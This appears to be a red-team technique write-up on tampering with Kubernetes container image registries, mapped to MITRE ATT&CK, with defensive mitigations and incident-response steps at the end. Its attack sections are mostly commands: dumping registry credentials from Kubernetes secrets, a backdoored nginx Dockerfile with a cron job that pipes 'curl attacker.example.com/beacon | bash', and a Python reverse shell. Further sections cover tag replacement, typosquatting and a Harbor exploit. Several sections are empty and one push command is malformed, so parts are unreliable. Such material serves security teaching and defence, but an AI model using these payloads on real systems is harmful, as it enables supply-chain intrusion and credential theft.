MCADDF

[K8S-SUPPLY-002]: Container Image Registry Tampering

Metadata

Attribute Details
Technique ID K8S-SUPPLY-002
MITRE ATT&CK v18.1 T1195.001 - Supply Chain Compromise: Compromise Software Repository
Tactic Initial Access / Supply Chain Compromise
Platforms Kubernetes
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Kubernetes 1.14+ (all versions), Docker/Container runtime all versions
Patched In N/A - Requires defensive controls, not a patched vulnerability
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Container Image Registry Tampering is a supply chain attack where an attacker gains unauthorized access to a container image registry (Docker Hub, ECR, GCR, ACR, Nexus, Harbor) and replaces legitimate images with malicious ones. When Kubernetes operators deploy applications using image tags (e.g., nginx:latest), they unwittingly pull and run compromised container images. Attackers exploit weak registry credentials, unpatched registry vulnerabilities, or social engineering to establish persistence, deploy backdoors, exfiltrate data, or perform cryptojacking. The attack is stealthy because the malicious image appears legitimate to operators unfamiliar with the image’s integrity.

Attack Surface: Container image registries including public registries (Docker Hub, Quay), cloud-native registries (AWS ECR, Azure ACR, Google GCR), and self-hosted registries (Harbor, Nexus, ChartMuseum). The attack leverages image tags (mutable references) instead of immutable SHA256 digests to enable replacement attacks.

Business Impact: Complete cluster compromise, cryptojacking, data exfiltration, backdoor installation, lateral movement to host infrastructure. Organizations running tampered images face immediate container compromise, ability for attackers to access Kubernetes secrets, persistent access through backdoored containers, and supply chain pollution affecting all downstream users of the compromised image.

Technical Context: Image replacement can occur silently during pod startup. Operators are unaware because image references remain identical; only the underlying image content changes. Detection requires image scanning, signature verification, or digest-based deployments rather than tag-based ones.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Kubernetes 5.1.1 / 5.1.2 Enforce image pull policies; use only approved registries
CIS Docker 4.1 / 4.2 Image security and registry access controls
NIST 800-53 SA-4 / SI-7 Software integrity and supply chain security
GDPR Art. 32 Security measures and integrity verification
NIS2 Art. 21 Cyber risk management and supply chain protection
ISO 27001 A.14.1 Supplier relationships and information security

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

Registry Credential Discovery

# Find Docker credentials in Kubernetes secrets
kubectl get secrets -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.metadata.name}{"\t"}{.type}{"\n"}{end}' | grep docker

# Extract registry credentials from pod spec
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.imagePullSecrets[*].name}{"\n"}{end}'

# Check for hardcoded credentials in environment variables
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].env[*]}{"\n"}{end}'

What to Look For:

Registry Authentication Verification

# Verify registry accessibility and authentication
docker login -u <username> -p <password> <registry-url>

# Test registry API access
curl -u <username>:<password> https://<registry>/v2/_catalog

# Enumerate images in registry
curl -u <username>:<password> https://<registry>/v2/<repo>/tags/list

# Check current image digest
docker pull <image>:<tag>
docker inspect <image>:<tag> | grep -i sha256

What to Look For:

Image Pull Policy Assessment

# Enumerate image pull policies across all pods
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.spec.containers[*].imagePullPolicy}{"\n"}{end}'

# Identify pods using tag-based images instead of digests
kubectl get pods -A -o jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | grep -v "sha256:"

What to Look For:


5. DETAILED EXECUTION METHODS

METHOD 1: Registry Credential Compromise

Supported Versions: Kubernetes 1.14+, all container registries

Step 1: Obtain Registry Credentials

Objective: Compromise credentials for target container registry through phishing, credential stuffing, or social engineering

Command (Credential Acquisition):

# Attacker obtains credentials through various means:
# 1. Phishing: "Please verify your Docker Hub credentials"
# 2. GitHub credential scanning: Find .docker/config.json in public repositories
# 3. Container image inspection: Extract hardcoded credentials from image layers
# 4. Environment variable exposure: Kubernetes secret dump

# Example: Extract from Kubernetes secret
kubectl get secret <registry-secret> -o jsonpath='{.data.\.dockerconfigjson}' | base64 -d

Expected Output:

{
  "auths": {
    "docker.io": {
      "username": "victim-org",
      "password": "abc123...xyz",
      "auth": "dmljdGltLW9yZzphYmMxMjM..."
    }
  }
}

What This Means:

OpSec & Evasion:

Step 2: Build Malicious Container Image

Objective: Create compromised image containing backdoor/payload

Command (Backdoored Image Creation):

# Dockerfile with hidden backdoor
FROM nginx:latest

# Legitimate nginx setup
COPY nginx.conf /etc/nginx/nginx.conf

# Hidden backdoor: Install reverse shell tools
RUN apt-get update && \
    apt-get install -y netcat-openbsd curl && \
    echo "*/5 * * * * curl http://attacker.example.com/beacon | bash" | crontab - && \
    rm -rf /var/lib/apt/lists/*

# Alternative: Python reverse shell
RUN python3 -m pip install pwntools && \
    echo "import socket; s=socket.socket(); s.connect(('attacker.example.com',4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import subprocess; subprocess.call(['/bin/bash','-i'])" > /tmp/shell.py

ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["nginx", "-g", "daemon off;"]

Build Command:

docker build -t attacker-registry.example.com/nginx:latest .
docker push attacker-registry.example.com/nginx:latest

# Or push to legitimate registry with compromised credentials
docker build -t docker.io/victim-org/nginx:latest .
docker push docker.io/victim-org/nginx:latest

Expected Output:

Sending build context to Docker daemon
Successfully built abc123def456
latest: digest: sha256:abc123def456...xyz pushed

What This Means:

OpSec & Evasion:

Step 3: Deploy Malicious Image via Tag Replacement

Objective: Cause Kubernetes operator to pull and deploy malicious image by replacing legitimate image in registry

Command (Tag Replacement - Mutable Tag Attack):

# Using compromised credentials, attacker replaces image tag
docker pull docker.io/victim-org/nginx:latest
docker tag docker.io/victim-org/nginx:latest attacker-image:latest
docker push attacker-image:latest docker.io/victim-org/nginx:latest

# Alternative: Direct tag manipulation via registry API
curl -X PUT -H "Authorization: Bearer <token>" \
  https://docker.io/v2/victim-org/nginx/manifests/latest \
  -d @malicious-manifest.json

Expected Output:

latest: digest: sha256:malicious123456...xyz

What This Means:

OpSec & Evasion:

METHOD 2: Typosquatting Registry/Image Names

Supported Versions: Kubernetes 1.14+, all container registries

Step 1: Register Lookalike Registry or Image

Objective: Create registry/image with name similar to legitimate source

Command (Typosquatted Image Creation):

# Option 1: Register on public registry with typosquatted name
docker build -t docker.io/attacker-org/nignx:latest .  # nignx vs nginx
docker push docker.io/attacker-org/nignx:latest

# Option 2: Use subdomain typosquatting
docker build -t images.docker.io/nginx:latest .
docker push images.docker.io/nginx:latest

# Option 3: Capital letter confusion
docker build -t docker.io/NginX:latest .
docker push docker.io/NginX:latest

Expected Output:

Pushed successfully to docker.io/attacker-org/nignx:latest

What This Means:

Step 2: Distribute via Documentation/Forums

Command (Social Engineering):

# Publish fake documentation suggesting:
# "For best performance, use: docker pull docker.io/attacker-org/nignx:latest"
# Or create GitHub repositories recommending malicious image

What This Means:

METHOD 3: Exploit Unpatched Registry Vulnerability

Supported Versions: Registry-specific (Harbor, Nexus, etc.)

Step 1: Identify Vulnerable Registry Instance

Objective: Find unpatched registry vulnerability

Command (Registry Enumeration):

# Scan for exposed registries
nmap -p 443,5000 <target-range>

# Identify registry version
curl https://<registry>:5000/v2/ -H "Authorization: Bearer <token>"
curl https://<registry>/api/v2.0/systeminfo  # Harbor

# Check for known vulnerabilities
searchsploit harbor  # Example: CVE-2021-22207

Expected Output:

HTTP 401 Unauthorized (indicates registry present)
{"version":"v2.3.1"}

Step 2: Exploit Vulnerability to Push Malicious Image

Command (Example: Harbor RBAC Bypass):

# Exploit vulnerability to bypass authentication
curl -X PUT https://<harbor-registry>/api/v2.0/projects \
  -H "Content-Type: application/json" \
  -d '{"project_name":"malicious","public":true}'

# Push malicious image to newly created project
docker push <harbor-registry>/malicious/nginx:latest

What This Means:


6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# Verify image signature enforcement
kubectl get clusterpolicy | grep signature

# Verify all images use digests
kubectl get pods -A -o jsonpath='{.items[*].spec.containers[*].image}' | grep -v "@sha256:"

# Verify registry audit logging enabled
curl -H "Authorization: Bearer <token>" https://<registry>/api/v2.0/auditlogs | head

# Verify network policies active
kubectl get networkpolicies -A

Expected Output (If Secure):

NAME                              VALIDATIONACTION
require-image-signatures          enforce

# No output = all images use digests

# Registry audit logs showing all push/pull activities

7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Immediately delete affected pod
    kubectl delete pod <pod-name> -n <namespace> --grace-period=0 --force
        
    # Quarantine affected namespace
    kubectl label namespace <namespace> quarantine=true
        
    # Block image from registry
    curl -X DELETE -H "Authorization: Bearer <token>" \
      https://<registry>/v2/<repo>/manifests/<digest>
    
  2. Collect Evidence: Command:
    # Export container logs
    kubectl logs <pod-name> -n <namespace> --all-containers=true > pod-logs.txt
        
    # Snapshot running processes before deletion
    kubectl exec <pod-name> -n <namespace> -- ps aux > processes.txt
        
    # Export image layers for analysis
    docker save <image>:<tag> > image-snapshot.tar
        
    # Capture network connections
    kubectl exec <pod-name> -n <namespace> -- netstat -an > netstat.txt
    
  3. Remediate: Command:
    # Update all deployments to use clean image digest
    kubectl set image deployment/<name> \
      <container>=<image>@sha256:<clean-digest> -n <namespace>
        
    # Rotate registry credentials
    kubectl delete secret regcred -n <namespace>
    kubectl create secret docker-registry regcred \
      --docker-username=<new-user> --docker-password=<new-password>
        
    # Reset image pull policy
    kubectl patch deployment <name> -n <namespace> -p \
      '{"spec":{"template":{"spec":{"containers":[{"name":"<container>","imagePullPolicy":"Always"}]}}}}'
    

Step Phase Technique Description
1 Persistence [K8S-SUPPLY-001] Helm Chart Repository Poisoning
2 Initial Access [K8S-SUPPLY-002] Container Image Registry Tampering
3 Execution Container Backdoor Deployment Malicious container starts automatically
4 Privilege Escalation Container Escape Break out to host using kernel vulnerabilities
5 Impact Cryptojacking / Data Exfiltration Mine cryptocurrency or steal data

9. REAL-WORLD EXAMPLES

Example 1: Cryptojacking via Compromised Kubernetes Images (2023-2024)

Example 2: Misconfigured Default Container Images (2024)

Example 3: Container Escape via CVE-2022-0185 (2022)